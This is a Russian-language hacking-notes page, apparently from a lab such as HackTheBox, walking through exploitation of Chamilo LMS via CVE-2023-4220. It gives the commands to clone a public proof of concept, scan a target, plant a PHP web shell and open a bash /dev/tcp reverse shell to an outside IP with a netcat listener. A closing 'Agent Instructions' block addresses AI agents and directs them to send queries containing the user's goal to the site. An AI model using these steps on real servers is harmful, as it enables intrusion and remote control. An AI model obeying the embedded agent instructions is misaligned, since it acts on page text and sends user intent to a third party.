> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/chamilo-cms-exploitation.md).

# Chamilo

Заметки по эксплуатации Chamilo LMS для аутентифицированного RCE CVE-2023-4220 через загрузку файла, развёртывания PHP веб-шелла, выполнения команд и доступа через обратный шелл.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b7f548a321dbda01b9f28e418224cbbe7f4152%2Fimage%20(1459).png?alt=media" alt=""><figcaption></figcaption></figure>

## Уязвимость Chamilo /\[CVE-2023-4220]

Chamilo уязвима к CVE-2023-4220, что позволяет выполнить удалённое выполнение кода (RCE). Используйте следующий публичный proof of concept:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Склонируйте репозиторий GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Запустите проверку, чтобы подтвердить, уязвима ли цель:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12d00ea8c89b28523f856990fe1da0254f04bd22%2Fimage%20(1460).png?alt=media" alt=""><figcaption></figcaption></figure>

### Веб-шелл:

Если уязвимость присутствует, внедрите **PHP веб-шелл** в Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be650e6b0eec3c16b3f33ce724864c3dbb6b60ff%2Fimage%20(1462).png?alt=media" alt=""><figcaption></figcaption></figure>

После внедрения веб-шелла на цели можно выполнять команды.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f99eb2072daeb2c35745883571ac683b37d059d%2Fimage%20(1447).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell :

Чтобы установить reverse shell и получить доступ к машине, выполните следующую команду в терминале:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Затем запустите слушатель на порту 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433ddb7152c53179ab8df9f397c37a0949801e82%2Fimage%20(1448).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
